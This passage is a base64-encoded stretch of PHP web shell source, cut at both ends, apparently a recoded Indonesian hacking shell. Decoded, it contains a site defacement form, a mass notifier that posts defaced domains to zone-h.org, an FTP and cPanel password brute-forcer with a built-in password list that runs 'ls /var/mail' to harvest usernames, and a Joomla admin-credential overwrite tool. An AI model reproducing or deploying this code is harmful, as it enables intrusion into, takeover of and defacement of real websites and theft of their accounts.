9vay5jb20vS3J5cHRvbiIgdGFyZ2V0PSJfYmxhbmsiPjxoMyBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+JyAuIGJhc2U2NF9kZWNvZGUoJ1MzSjVjSFJ2Ymc9PScpIC4gJzwvaDM+PC9hPjwvZGl2PjxkaXY+JzsKICAgIGlmICghaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSkgewogICAgICAgIGVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+PGNlbnRlcj48aW1nIGNsYXNzPSJIb3ZlckJvcmRlciIgYWx0PSIiIHNyYz0iaHR0cDovL2RhdGEud2hpY2RuLmNvbS9pbWFnZXMvMTA5MTc4NDIwL2xhcmdlLmpwZyI7JyAuICR0dW5pc2lhIC4gJyIgLz48L2NlbnRlcj48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPjxicj5pbmRleCB1cmw6PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImluZGV4YWRyZXNpIiBzaXplPSIzMCIgdmFsdWU9Imh0dHA6Ly9zaXRlLmNvbS9pbmRleC5odG1sIiAvPjxicj48YnI+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRlZmFjZSIgbmFtZT0iU3VibWl0Ij48L2Zvcm0+IDwvZGl2Pic7CiAgICB9CiAgICBlY2hvICc8ZGl2IGFsaWduPSJjZW50ZXIiPic7CiAgICBpZiAoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEpIHsKICAgICAgICBleGVjX21vZGVfMSgkX1BPU1RbJ2luZGV4YWRyZXNpJ10pOwogICAgfQogICAgZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nOwp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3pvbmUtaCcpKSB7CiAgICAkZGVmYWNlciAgICAgICAgID0gJ0tyeXB0b24nOwogICAgJGRpc3BsYXlfZGV0YWlscyA9IDA7CiAgICAkbWV0aG9kICAgICAgICAgID0gMTQ7CiAgICAkcmVhc29uICAgICAgICAgID0gNTsKICAgIGVycm9yX3JlcG9ydGluZygwKTsKICAgIHNldF90aW1lX2xpbWl0KDApOwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgZWNobyAiQ1VSTCBFUlJPUlxuIjsKICAgICAgICBleGl0OwogICAgfQogICAgJGNsaSA9IChpc3NldCgkYXJndlswXSkpID8gMSA6IDA7CiAgICBpZiAoJGNsaSA9PSAxKSB7CiAgICAgICAgJGZpbGUgID0gJGFyZ3ZbMV07CiAgICAgICAgJHNpdGVzID0gZmlsZSgkZmlsZSk7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZSkpIHsKICAgICAgICAgICAgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5lcnJvciAhPC9oMT48L2NlbnRlcj5cbiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKGFwYWNoZV9zZXRlbnYpKSB7CiAgICAgICAgICAgIEBhcGFjaGVfc2V0ZW52KCduby1nemlwJywgMSk7CiAgICAgICAgfQogICAgICAgIEBpbmlfc2V0KCd6bGliLm91dHB1dF9jb21wcmVzc2lvbicsIDApOwogICAgICAgIEBpbmlfc2V0KCdpbXBsaWNpdF9mbHVzaCcsIDEpOwogICAgICAgIEBvYl9pbXBsaWNpdF9mbHVzaCh0cnVlKTsKICAgICAgICBAb2JfZW5kX2ZsdXNoKCk7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZG9tYWlucyddKSkgewogICAgICAgICAgICAkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRfUE9TVFsnZG9tYWlucyddKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSkpIHsKICAgICAgICAgICAgJGZpbGUgID0gJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOwogICAgICAgICAgICAkc2l0ZXMgPSBmaWxlKCRmaWxlKTsKICAgICAgICB9CiAgICAgICAgZWNobyA8PDxFT0YKPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+CkVPRjsKICAgICAgICBpZiAoIWlzc2V0KCRfUE9TVFsnZGVmYWNlciddKSkgewogICAgICAgICAgICBlY2hvIDw8PEVPRgo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgpFT0Y7CiAgICAgICAgfQogICAgICAgICRkZWZhY2VyID0gJF9QT1NUWydkZWZhY2VyJ107CiAgICB9CiAgICBpZiAoISRzaXRlcykgewogICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgZXhpdDsKICAgIH0KICAgICRzaXRlcyA9IGFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsICcnLCAkc2l0ZXMpKTsKICAgICR0b3RhbCA9IGNvdW50KCRzaXRlcyk7CiAgICBlY2hvICJbK10gVG90YWwgdW5pcXVlIGRvbWFpbjogJHRvdGFsXG5cbiI7CiAgICAkcGF1c2UgPSAxMDsKICAgICRzdGFydCA9IHRpbWUoKTsKICAgICRtYWluICA9IGN1cmxfbXVsdGlfaW5pdCgpOwogICAgZm9yICgkbSA9IDA7ICRtIDwgMzsgJG0rKykgewogICAgICAgICRodHRwW10gPSBjdXJsX2luaXQoKTsKICAgIH0KICAgIGZvciAoJG4gPSAwOyAkbiA8ICR0b3RhbDsgJG4gKz0gMzApIHsKICAgICAgICBpZiAoJGRpc3BsYXlfZGV0YWlscyA9PSAxKSB7CiAgICAgICAgICAgIGZvciAoJHggPSAwOyAkeCA8IDMwOyAkeCsrKSB7CiAgICAgICAgICAgICAgICBlY2hvICdbK10gQWRkaW5nICcgLiBydHJpbSgkc2l0ZXNbJG4gKyAkeF0pIC4gJyc7CiAgICAgICAgICAgICAgICBlY2hvICJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGQgPSAkbiArIDMwOwogICAgICAgIGlmICgkZCA+ICR0b3RhbCkgewogICAgICAgICAgICAkZCA9ICR0b3RhbDsKICAgICAgICB9CiAgICAgICAgZWNobyAiPT09PT09PT09PT09PT09PT09PT09PlskZC8kdG90YWxdXG4iOwogICAgICAgIGZvciAoJHcgPSAwOyAkdyA8IDM7ICR3KyspIHsKICAgICAgICAgICAgJHAgPSAkdyAqIDEwOwogICAgICAgICAgICBpZiAoIShpc3NldCgkc2l0ZXNbJG4gKyAkcF0pKSkgewogICAgICAgICAgICAgICAgJHBhdXNlID0gJHc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcG9zdHNbJHddID0gImRlZmFjZXI9JGRlZmFjZXImZG9tYWluMT1odHRwJTNBJTJGJTJGIiAuIHJ0cmltKCRzaXRlc1skbiArICRwXSkgLiAiJmRvbWFpbjI9aHR0cCUzQSUyRiUyRiIgLiBydHJpbSgkc2l0ZXNbJG4gKyAkcCArIDFdKSAuICImZG9tYWluMz1odHRwJTNBJTJGJTJGIiAuIHJ0cmltKCRzaXRlc1skbiArICRwICsgMl0pIC4gIiZkb21haW40PWh0dHAlM0ElMkYlMkYiIC4gcnRyaW0oJHNpdGVzWyRuICsgJHAgKyAzXSkgLiAiJmRvbWFpbjU9aHR0cCUzQSUyRiUyRiIgLiBydHJpbSgkc2l0ZXNbJG4gKyAkcCArIDRdKSAuICImZG9tYWluNj1odHRwJTNBJTJGJTJGIiAuIHJ0cmltKCRzaXRlc1skbiArICRwICsgNV0pIC4gIiZkb21haW43PWh0dHAlM0ElMkYlMkYiIC4gcnRyaW0oJHNpdGVzWyRuICsgJHAgKyA2XSkgLiAiJmRvbWFpbjg9aHR0cCUzQSUyRiUyRiIgLiBydHJpbSgkc2l0ZXNbJG4gKyAkcCArIDddKSAuICImZG9tYWluOT1odHRwJTNBJTJGJTJGIiAuIHJ0cmltKCRzaXRlc1skbiArICRwICsgOF0pIC4gIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIiAuIHJ0cmltKCRzaXRlc1skbiArICRwICsgOV0pIC4gIiZoYWNrbW9kZT0iIC4gJG1ldGhvZCAuICImcmVhc29uPSIgLiAkcmVhc29uIC4gIiZzdWJtaXQ9U2VuZCI7CiAgICAgICAgICAgICRjdXJsb3B0ICAgPSBhcnJheSgKICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UID0+ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7V09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xOC4wLjEwMDMuMSBTYWZhcmkvNTM1LjE2JywKICAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZSwKICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgIENVUkxPUFRfSEVBREVSID0+IGZhbHNlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+IGFycmF5KAogICAgICAgICAgICAgICAgICAgICJLZWVwLUFsaXZlOiA3IgogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMywKICAgICAgICAgICAgICAgIENVUkxPUFRfVVJMID0+ICdodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L21hc3MnLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10KICAgICAgICAgICAgKTsKICAgICAgICAgICAgY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCAkY3VybG9wdCk7CiAgICAgICAgICAgIGN1cmxfbXVsdGlfYWRkX2hhbmRsZSgkbWFpbiwgJGh0dHBbJHddKTsKICAgICAgICB9CiAgICAgICAgJHJ1bm5pbmcgPSBudWxsOwogICAgICAgIGRvIHsKICAgICAgICAgICAgY3VybF9tdWx0aV9leGVjKCRtYWluLCAkcnVubmluZyk7CiAgICAgICAgfSB3aGlsZSAoJHJ1bm5pbmcgPiAwKTsKICAgICAgICBmb3IgKCRtID0gMDsgJG0gPCAzOyAkbSsrKSB7CiAgICAgICAgICAgIGlmICgkcGF1c2UgPT0gJG0pIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfbXVsdGlfcmVtb3ZlX2hhbmRsZSgkbWFpbiwgJGh0dHBbJG1dKTsKICAgICAgICAgICAgJGNvZGUgPSBjdXJsX2dldGluZm8oJGh0dHBbJG1dLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgICAgICBpZiAoJGNvZGUgIT0gMjAwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSAodHJ1ZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsKICAgICAgICAgICAgICAgICAgICBzbGVlcCg1KTsKICAgICAgICAgICAgICAgICAgICBjdXJsX2V4ZWMoJGh0dHBbJG1dKTsKICAgICAgICAgICAgICAgICAgICAkY29kZSA9IGN1cmxfZ2V0aW5mbygkaHR0cFskbV0sIENVUkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRjb2RlID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgICAgICBicmVhayAxOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICRlbmQgPSB0aW1lKCkgLSAkc3RhcnQ7CiAgICBlY2hvICdEb25lJzsKICAgIGVjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7CiAgICBjdXJsX211bHRpX2Nsb3NlKCRtYWluKTsKICAgIGlmICgkY2xpID09IDApIHsKICAgICAgICBlY2hvICc8L3ByZT48L2JvZHk+PC9odG1sPic7CiAgICB9CiAgICBleGl0Owp9IAogZWxzZWlmIChpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYWJvdXQnKSkgewogICAgZWNobyAnPGJyPjxjZW50ZXI+PGs+V2ViU2hlbGwgUmVjb2RlZCBCeSBOb05hbWVVc2VyPC9rPjxicj48YnI+UyBJIFIgTiBBIE1lcnVwYWthbiBTaGVsbCBoYXNpbCByZWNvZGUgZGFyaSBzaGVsbCBrMmxsMzNkICYgU2FkbmVzcyBTaGVsbCAsIDxicj5rZW11ZGlhbiBkaXRhbWJhaGthbiBiZWJlcmFwYSBmdW5nc2ktZnVuZ3NpIGFnYXIgc2hlbGwgbGViaWggcG93ZXJmdWwgZGFuIHVzZXJmcmllbmRseS48YnI+CiAgICAgICAgYmViZXJhcGEgZnVuZ3NpIGRpYW1iaWwgZGFyaSBzaGVsbCB5YW5nIHN1ZGFoIGFkYSBkYW4gc2VsZWJpaG55YSBtZXJ1cGFrYW4ga3JlYXNpIHBlbnVsaXMgc2VuZGlyaS48YnI+c2hlbGwgaW5pIGFtYW4gZGFuIGJlcnNpaCBkYXJpIHlhbmcgbmFtYW55YSBMb2dnZXIgbWVza2lwdW4gc2NyaXB0IGluaSBkaWVuY29kZSwgPGJyPnBlbnVsaXMgdGlkYWsgbWVueWlzaXBrYW4gTG9nZ2VyIHBhZGEgZ2FtYmFyIGF0YXVwdW4gZGFsYW0gc2NyaXB0IFBIUCBpbmkuCiAgICAgICAgPGJyPjxrPk1haWw6Jm5ic3A7PGEgaHJlZj1tYWlsdG86aHRhY2Nlc3MxMkBnbWFpbC5jb20+RXJyb3IgVmlvbGVuY2U8L2E+PGJyPjxicj48YSBocmVmPSJodHRwczovL2ZhY2Vib29rLmNvbS9lcnJvcnZpb2xlbmNlIiB0YXJnZXQ9Il9ibGFuayI+RmFjZWJvb2s8L2s+PC9hPiZuYnNwOzwvY2VudGVyPjxpZnJhbWUgd2lkdGg9IjAiIGhlaWdodD0iMCIgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9hM3NiZkh1LTZGaz9hdXRvcGxheT0xIiBmcmFtZWJvcmRlcj0iMCIgYWxsb3dmdWxsc2NyZWVuPjwvaWZyYW1lPic7Cn0gCmVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2JydXRlJykpIHsKICAgICRjb25uZWN0X3RpbWVvdXQgPSA1OwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICAkc3VibWl0ICAgID0gJF9SRVFVRVNUWydzdWJtaXQnXTsKICAgICR1c2VycyAgICAgPSAkX1JFUVVFU1RbJ3VzZXJzJ107CiAgICAkcGFzcyAgICAgID0gJF9SRVFVRVNUWydwYXNzd29yZHMnXTsKICAgICR0YXJnZXQgICAgPSAkX1JFUVVFU1RbJ3RhcmdldCddOwogICAgJGNyYWNrdHlwZSA9ICRfUkVRVUVTVFsnY3JhY2t0eXBlJ107CiAgICBpZiAoJHRhcmdldCA9PSAiIikgewogICAgICAgICR0YXJnZXQgPSAibG9jYWxob3N0IjsKICAgIH0KPz48ZGl2IGFsaWduPSJjZW50ZXIiPjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwCiAgICBmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsICR1c2VyLCAkcGFzcywgJHRpbWVvdXQpCiAgICB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwogICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgaWYgKGN1cmxfZXJybm8oJGNoKSA9PSAyOCkgewogICAgICAgICAgICBwcmludCAiPGI+Q29ubmVjdGlvbiBUaW1lZCBvdXQ8L2I+IjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9IGVsc2VpZiAoY3VybF9lcnJubygkY2gpID09IDApIHsKICAgICAgICAgICAgcHJpbnQgIjx0YWJsZSB3aWR0aD0nNjclJz48dHI+PHRkIGFsaWduPWNlbnRlcj48Yj5Vc2VybmFtZSAoJHVzZXIpIHwgUGFzc3dvcmQgKCRwYXNzKTwvYj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgIH0KICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICB9CiAgICBmdW5jdGlvbiBjcGFuZWxfY2hlY2soJGhvc3QsICR1c2VyLCAkcGFzcywgJHRpbWVvdXQpCiAgICB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsKICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgIGlmIChjdXJsX2Vycm5vKCRjaCkgPT0gMjgpIHsKICAgICAgICAgICAgcHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYgKGN1cmxfZXJybm8oJGNoKSA9PSAwKSB7CiAgICAgICAgICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgfQogICAgaWYgKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSkgewogICAgICAgIGlmIChlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSkgewogICAgICAgICAgICBwcmludCAiPHA+PGI+RXJyb3IgOiBDaGVjayBUaGUgVXNlcnMgYW5kIFBhc3N3b3JkIExpc3Q8L2I+PC9wPiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkdXNlcnMpKSB7CiAgICAgICAgICAgIHByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkcGFzcykpIHsKICAgICAgICAgICAgcHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgOwogICAgICAgICR1c2VybGlzdCA9IGV4cGxvZGUoIlxuIiwgJHVzZXJzKTsKICAgICAgICAkcGFzc2xpc3QgPSBleHBsb2RlKCJcbiIsICRwYXNzKTsKICAgICAgICBwcmludCAiPGI+W35dIFdhaXQgLi4uPC9iPjxicj48YnI+IjsKICAgICAgICBmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsKICAgICAgICAgICAgJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQpIHsKICAgICAgICAgICAgICAgICRwdXJlcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsKICAgICAgICAgICAgICAgIGlmICgkY3JhY2t0eXBlID09ICJmdHAiKSB7CiAgICAgICAgICAgICAgICAgICAgZnRwX2NoZWNrKCR0YXJnZXQsICRwdXJldXNlciwgJHB1cmVwYXNzLCAkY29ubmVjdF90aW1lb3V0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKSB7CiAgICAgICAgICAgICAgICAgICAgY3BhbmVsX2NoZWNrKCR0YXJnZXQsICRwdXJldXNlciwgJHB1cmVwYXNzLCAkY29ubmVjdF90aW1lb3V0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZD48YnI+PHAgYWxpZ249J2NlbnRlcic+PGI+PHNwYW4gbGFuZz0nZW4tdXMnPklQPC9zcGFuPiA6PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3RhcmdldCcgc2l6ZT0nMTYnIHZhbHVlPSR0YXJnZXQ+PC9iPjwvcD48ZGl2IGFsaWduPSdjZW50ZXInPjxwIGFsaWduPSdjZW50ZXInPnVzZXJzPHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9MjAgcm93cz0yMCBuYW1lPSd1c2Vycyc+IjsKICAgIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7CiAgICBlY2hvICI8L3RleHRhcmVhPnBhc3N3b3Jkczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ncGFzc3dvcmRzJz4xMjMxMjNcbjEyMzQ1NlxuMTIzNDU2N1xuMTIzNDU2NzhcbjEyMzQ1Njc4OVxuMTU5MTU5XG4xMTIyMzNcbmFkbWluXG4zMzIyMTFcbjE0Nzg5NjNcbnBhc3N3b3JkXG5wYXNzd2RcbjE1OTM1N1xuMzU3OTUxXG4xMTQ0NzdcbnBhc3NcblBhc3N3b3JkPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdjcGFuZWwnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPjwvc3Bhbj48Yj5DcGFuZWwoMjA4Mik8L2I+PGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+PC9mb250PjwvZm9udD48Zm9udCBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIHNpemU9JzInIGZhY2U9J1RhaG9tYSc+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7Jz5GdHAgKDIxKTwvc3Bhbj48L3A+PGJyPjxjZW50ZXI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1N0YXJ0IENyYWNraW5nJyBuYW1lPSdzdWJtaXQnPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L2Zvcm0+IjsKICAgIGRpZSgpOwp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2pvb21sYScpKSB7CiAgICBpZiAoZW1wdHkoJF9QT1NUWydwd2QnXSkpIHsKICAgICAgICBlY2hvICI8Y2VudGVyPjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7CiAgICB9IGVsc2UgewogICAgICAgICRwcmVmaXggICAgPSAkX1BPU1RbJ3ByZWZpeCddOwogICAgICAgICRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOwogICAgICAgICRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiAgICAgICAgJHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTsKICAgICAgICAkcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOwogICAgICAgICRhZG1pbiAgICAgPSAkX1BPU1RbJ2FkbWluJ107CiAgICAgICA